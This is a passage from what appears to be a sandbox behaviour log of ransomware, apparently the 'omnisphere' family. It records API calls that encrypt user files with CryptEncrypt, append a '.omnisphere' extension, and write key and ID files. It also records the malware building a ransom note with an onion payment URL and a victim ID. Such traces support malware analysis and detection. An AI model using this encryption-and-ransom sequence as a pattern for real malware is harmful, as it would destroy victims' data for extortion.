pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.963] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.963] CryptDestroyKey (hKey=0x1639568) returned 1 [0068.963] CryptReleaseContext (hProv=0x163c520, dwFlags=0x0) returned 1 [0068.963] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x628a, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0068.964] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0068.964] GetProcessHeap () returned 0x1600000 [0068.964] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x27e) returned 0x1658e70 [0068.964] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\tiIa0efX69B.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\tiia0efx69b.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\tiIa0efX69B.jpg.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\tiia0efx69b.jpg.omnisphere")) returned 1 [0068.964] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\tiIa0efX69B.jpg.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\tiIa0efX69B.jpg.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\tiIa0efX69B.jpg.omnisphere.id" [0068.964] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\tiIa0efX69B.jpg.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\tiia0efx69b.jpg.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0068.965] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0068.966] CloseHandle (hObject=0x3a8) returned 1 [0068.967] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0068.967] CloseHandle (hObject=0x3a4) returned 1 [0068.967] SetEndOfFile (hFile=0x3a0) returned 1 [0068.967] FlushFileBuffers (hFile=0x3a0) returned 1 [0068.970] CloseHandle (hObject=0x3a0) returned 1 [0068.970] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\tiIa0efX69B.jpg" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0068.970] GetProcessHeap () returned 0x1600000 [0068.970] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x165fc60 [0068.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0068.970] GetProcessHeap () returned 0x1600000 [0068.970] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1641930 [0068.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1641930, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0068.971] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0068.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.971] GetProcessHeap () returned 0x1600000 [0068.971] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162faf0 [0068.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162faf0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0068.971] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0068.971] GetProcessHeap () returned 0x1600000 [0068.971] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163c520 [0068.971] PathCombineW (in: pszDest=0x163c520, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0068.971] GetProcessHeap () returned 0x1600000 [0068.971] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1662fe8 [0068.972] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0068.972] WriteFile (in: hFile=0x3a0, lpBuffer=0x1662fe8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x1662fe8*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0068.972] CloseHandle (hObject=0x3a0) returned 1 [0068.972] GetProcessHeap () returned 0x1600000 [0068.972] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165fc60 | out: hHeap=0x1600000) returned 1 [0068.972] GetProcessHeap () returned 0x1600000 [0068.972] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f700 [0068.972] PathCombineW (in: pszDest=0x163f700, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0068.972] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0068.972] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0068.973] CloseHandle (hObject=0x3a0) returned 1 [0068.973] GetProcessHeap () returned 0x1600000 [0068.973] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f700 | out: hHeap=0x1600000) returned 1 [0068.973] GetProcessHeap () returned 0x1600000 [0068.973] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649e70 | out: hHeap=0x1600000) returned 1 [0068.973] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5fa3070, ftCreationTime.dwHighDateTime=0x1d4d121, ftLastAccessTime.dwLowDateTime=0xec9916a0, ftLastAccessTime.dwHighDateTime=0x1d4c941, ftLastWriteTime.dwLowDateTime=0xec9916a0, ftLastWriteTime.dwHighDateTime=0x1d4c941, nFileSizeHigh=0x0, nFileSizeLow=0x1051f, dwReserved0=0x0, dwReserved1=0xed, cFileName="tx_oE.avi", cAlternateFileName="")) returned 1 [0068.973] GetProcessHeap () returned 0x1600000 [0068.973] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x62) returned 0x163a0a0 [0068.973] PathCombineW (in: pszDest=0x163a0a0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="tx_oE.avi" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\tx_oE.avi") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\tx_oE.avi" [0068.973] StrStrW (lpFirst=".omnisphere", lpSrch=".avi") returned 0x0 [0068.973] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\tx_oE.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\tx_oe.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0068.973] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=66847) returned 1 [0068.973] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xfffb, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0068.973] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] GetTickCount () returned 0x1151866 [0068.974] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163b970) returned 1 [0068.975] CryptImportKey (in: hProv=0x163b970, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x16396e8) returned 1 [0068.975] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0068.975] CryptDestroyKey (hKey=0x16396e8) returned 1 [0068.975] CryptReleaseContext (hProv=0x163b970, dwFlags=0x0) returned 1 [0068.975] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1051f, lpName=0x0) returned 0x3a4 [0068.975] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1051f) returned 0x3450000 [0068.976] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163b970) returned 1 [0068.976] CryptImportKey (in: hProv=0x163b970, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639a28) returned 1 [0068.976] CryptSetKeyParam (hKey=0x1639a28, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0068.976] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0068.977] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.977] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.977] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.977] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.977] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, 